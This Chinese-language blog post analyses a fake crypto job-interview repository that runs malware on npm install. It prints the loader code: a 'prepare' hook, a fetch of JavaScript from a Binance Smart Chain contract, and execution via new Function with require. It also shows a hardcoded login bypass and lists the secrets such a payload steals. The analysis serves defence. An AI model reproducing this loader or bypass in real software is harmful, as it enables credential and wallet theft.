Blog
Web3 & Blockchain·10 min read

加密货币求职骗局剖析:一次 npm Install 如何掏空你的钱包

有人发给我一个 GitHub 仓库作为面试编程作业。结果它从区块链上拉取恶意软件,在你运行 npm install 时就会执行。

Jo Vinkenroye·February 25, 2026
加密货币求职骗局剖析:一次 npm Install 如何掏空你的钱包

一个招聘人员联系我,说 Limit Break 有一个 Web3 开发者职位。薪资不错,项目有意思,条件很全面

他们发给我一个 GitHub 仓库作为面试作业来审查。一个用 React、Express、Socket.io 和 ethers.js 构建的扑克平台

我差点就运行了

但我决定先审计代码。我发现的是一个精密的恶意软件分发系统,它将有效载荷隐藏在 Binance Smart Chain 上,在你输入 npm install 的那一刻就执行

以下是它工作原理的完整分析

布局

仓库位于 github.com/LimitBreakOrgs/bet_ver_1。乍一看完全合法。干净的文件夹结构、规范的 README、真实的依赖项、数百行游戏逻辑

bet_ver_1/
├── server/ # Express backend
│ ├── controllers/ # Auth, chips, users, collection
│ ├── middleware/ # JWT, rate limiting, sanitization
│ ├── pokergame/ # Table, Player, Deck classes
│ └── socket/ # Socket.io game events
├── src/ # React frontend
│ ├── components/ # Poker table UI, cards, betting
│ ├── context/ # State management
│ └── utils/ # MetaMask wallet integration
└── package.json

甚至配置了安全中间件——mongo sanitization、XSS 防护、速率限制、JWT 认证。有人花了真功夫让这看起来像一个生产级代码库

第一批危险信号

当我开始深入挖掘时,我注意到一些不对劲的地方

GitHub 组织是假的。 真正的 Limit Break 在 github.com/limitbreakinc,有 18 个仓库、Solidity 智能合约和多年的历史。"LimitBreakOrgs" 只有一个仓库,零个公开成员,两周前才创建

扑克游戏里出现了国际象棋事件。 socket 数据包文件定义了 CS_SelectPieceCS_PerformMoveCS_PawnTransform 等事件。这些是国际象棋事件。出现在一个扑克应用中。代码明显是从多个不相关的项目中复制粘贴过来的

认证系统被故意搞坏了。 在 auth 控制器中,密码检查是硬编码的:

// server/controllers/auth.js
const isMatch = true; // should be: await bcrypt.compare(password, user.password)

任何密码都能登录任何账户。这不是 bug——你不会不小心写出 const isMatch = true 然后跳过 bcrypt 的导入

.env 文件被提交了。 .gitignore 排除了 .env.local 但没有排除 .env 本身。文件就在仓库里,带着 API 密钥和 secrets。他们想让你觉得"哦,太好了,可以直接运行,我只需要安装一下"

陷阱:package.json

这里开始变得有意思了。看看 scripts 部分:

{
"scripts": {
"start": "node server/server.js | react-scripts start",
"prepare": "node server/server.js"
}
}

prepare 生命周期脚本会在 npm install 时自动运行。不是 npm start。不是 npm run build。就是 npm install

你安装依赖的那一刻,server/server.js 就会执行

有效载荷:托管在区块链上的恶意软件

server.js 看起来很正常。Express 应用、中间件、路由、Socket.io。但在启动结束时它调用了一个函数:

// server/server.js
const { configureCollection } = require("./controllers/collection");
// ... 正常的 express 配置 ...
startServer(); // 在 listen 回调中:
configureCollection(); // <-- 这就是触发器

以下是 configureCollection 的内容:

// server/controllers/collection.js
const { ethers } = require("ethers");
const NFT_CONTRACT_ADDRESS = process.env.NFT_CONTRACT_ADDRESS;
const CONTRACT_ABI = [
"function getMemo(uint256) view returns (string)"
];
const TX_ID = 1;
const provider = new ethers.providers.JsonRpcProvider(process.env.RPC_URL);
async function configureCollection() {
const contract = new ethers.Contract(
NFT_CONTRACT_ADDRESS, CONTRACT_ABI, provider
);
const memo = await contract.getMemo(TX_ID);
ContentAsWeb(memo);
}

它连接到 Binance Smart Chain 上地址为 0xE251b37Bac8D85984d96da55dc977A609716EBDc 的智能合约。它从交易 ID 1 读取一个 memo 字段。那个 memo 包含一个字符串

一个 JavaScript 代码字符串

然后执行它:

function ContentAsWeb(payload) {
if (!payload || typeof payload !== "string") return;
try {
new Function(payload); // 验证它是可解析的 JS
} catch (err) { return; }
try {
const ensureWeb = new Function("require", payload);
ensureWeb(require); // 以完整的 Node.js 权限执行
} catch (err) {
console.error("ensureWeb error", err.message);
}
}

new Function("require", payload) 从区块链获取的字符串创建一个函数。然后 ensureWeb(require) 执行它——传入 Node.js 的 require,这样有效载荷就能导入它想要的任何模块

为什么这很精妙(也很可怕)

这个设计很巧妙,原因有几个:

恶意软件不在仓库中。 GitHub 的安全扫描器、npm audit 和任何静态分析工具都不会发现任何东西。实际的有效载荷存在于链上

它是可变的。 攻击者可以随时更新智能合约的 memo 字段。今天可能窃取钱包。明天可能安装键盘记录器。仓库永远不会改变

它使用 new Function() 而不是 eval() 大多数 linter 和安全工具会标记 eval()。标记 new Function() 的要少得多,尽管它同样危险

函数名经过伪装。 configureCollectionContentAsWebensureWeb——这些听起来都像合法的工具函数。你必须仔细阅读每一行才能注意到它们实际上在做什么

它显式传递 require new Function() 默认无法访问模块作用域。通过将 require 作为参数传递,他们给了有效载荷完整的 Node.js 访问权限——文件系统、网络、子进程,一切

有效载荷能做什么

有了可用的 require,链上 JavaScript 可以:

  • require('fs') —— 读取你的 SSH 密钥、钱包文件、.env 文件、浏览器配置文件
  • require('child_process') —— 在你的机器上运行任何 shell 命令
  • require('https') —— 将所有东西发送到攻击者的服务器
  • require('os') —— 对你的机器进行指纹识别,找到你的 home 目录
  • require('path') —— 导航到已知的钱包位置

这类攻击的典型目标清单:MetaMask 保险库、Phantom wallet 数据、SSH 私钥、AWS 凭证、浏览器 cookie、密码管理器数据库

更大的图景

这不是个例。这是 Contagious Interview 活动,被广泛归因于朝鲜的 Lazarus Group。他们自 2024 年以来一直在运行这类变体,已经窃取了数百万美元

套路始终相同:

  1. 创建虚假的公司档案或冒充真实公司
  2. 在 LinkedIn/Telegram 上以工作机会接触开发者
  3. 进行令人信服的面试流程
  4. 发送一个"面试作业"GitHub 仓库
  5. 仓库在安装或启动时运行恶意软件
  6. 掏空钱包、窃取凭证、安装持久性后门

他们专门针对加密货币开发者,因为加密货币开发者的开发机器上往往有加密钱包

如何保护自己

在运行任何面试编程作业之前:

  1. 核实公司。 检查真实的 GitHub 组织,而不只是名称。与 LinkedIn、公司网站和 Crunchbase 交叉验证
  2. 先读 package.json 查看 preparepreinstallpostinstallinstall 脚本。如果其中任何一个运行服务器代码,那就是危险信号
  3. 搜索 new Functionevalchild_processexec 这些是常见的有效载荷执行模式
  4. 检查非区块链项目中的区块链调用。 一个扑克应用不需要在启动时用 ethers.js 连接 BSC
  5. 使用沙箱。 Docker 容器、虚拟机,或者至少是一个无法访问你的钱包或凭证的独立用户账户
  6. 检查 .gitignore。 如果 .env 被提交了且包含看起来真实的密钥,他们想让你直接运行而不去思考

日常安全习惯:

  • 永远不要在开发机器上保留热钱包
  • 对任何大额持仓使用硬件钱包
  • 保持 SSH 密钥用密码短语保护
  • 不要在主机器的环境变量中存储 API 密钥

合约信息

对于正在阅读此文的安全研究人员,恶意合约位于:

  • 地址: 0xE251b37Bac8D85984d96da55dc977A609716EBDc
  • 网络: Binance Smart Chain(RPC:bsc-dataseed1.binance.org
  • 方法: getMemo(uint256),TX_ID 为 1
  • 仓库: github.com/LimitBreakOrgs/bet_ver_1

如果你要分析这个,请在隔离环境中进行

最后的想法

我很幸运,因为我对运行别人的代码很偏执。不是每个人都这样。如果你是一个在加密领域收到工作邀请的开发者,代码审查从面试作业本身开始——而不是从里面的代码开始

注意安全

Stay Updated

Get notified about new posts on automation, productivity tips, indie hacking, and web3.

No spam, ever. Unsubscribe anytime.

Comments

Related Posts